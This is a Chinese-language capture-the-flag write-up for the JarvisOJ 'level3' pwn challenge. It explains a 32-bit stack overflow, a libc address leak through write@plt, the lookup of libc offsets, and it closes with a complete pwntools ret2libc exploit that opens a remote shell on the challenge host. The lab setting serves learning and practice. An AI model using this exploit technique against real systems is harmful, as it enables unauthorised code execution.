地址:nc pwn2.jarvisoj.com 9879
一开始拿到题目的时候是一个rar文件
解压后就得到了两个文件
对这两个文件查看保护
两个文件都是32位的
level3没有开启栈保护 可以利用栈溢出;栈中内容不可使用 不用shellcode
libc-2.19.so可以看到是全部都开启了
用IDA32打开level3
跟进vulnerable_function()函数
溢出点在read上
栈溢出的目的是执行system("/bin/sh") 但是我们并没有找到相关的函数和字符串
那么就需要通过read构造栈溢出 并覆盖返回地址
总结为以下三步:
-
通过vulnerable_function()函数中的read构造栈溢出 并覆盖返回地址为plt中的write
-
通过write泄露出read在内存中的绝对地址,并且调用vulnerable_function()
-
计算出system和/bin/sh的绝对地址,再通过vulnerable_function()构造栈溢出进行复写
写脚本前先在libc.so中搜一下几个关键函数和字符串
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@"
571: 000daf60 125 FUNC WEAK DEFAULT 12 __read@@GLIBC_2.0
705: 0006f220 50 FUNC GLOBAL DEFAULT 12 _IO_file_read@@GLIBC_2.0
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1166: 000e0c40 1461 FUNC GLOBAL DEFAULT 12 fts_read@@GLIBC_2.0
1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 eventfd_read@@GLIBC_2.7
1698: 000643a0 259 FUNC WEAK DEFAULT 12 fread@@GLIBC_2.0
2181: 000c3030 204 FUNC WEAK DEFAULT 12 pread@@GLIBC_2.1
2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 _IO_fread@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "system@"
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "exit@"
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0
609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0
645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3
1037: 00126800 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0
1492: 000f9160 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0
2386: 000f9cd0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh"
16084c /bin/sh
筛选之后得到
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh
最后写exp
from pwn import *
r=remote('pwn2.jarvisoj.com',9879)
e=ELF('./level3')
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
#调用顺序:func1_address+func2_adress+……+func1_argslist+func2_argslist+……
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
r.recv()
r.send(payload1)
readadr=hex(u32(r.recv()))#泄露read绝对地址
# 950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
# 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
# 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
# 16084c /bin/sh
libc_read=0x000DAF60
offset=int(readadr,16)-libc_read #计算偏移量
sysadr=offset+0x00040310 #system绝对地址
xitadr=offset+0x00033260 #exit绝对地址
bshadr=offset+0x0016084C #binsh绝对地址
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
r.send(payload2)
r.interactive()
本文大部分参考https://blog.csdn.net/cossack9989/article/details/79326659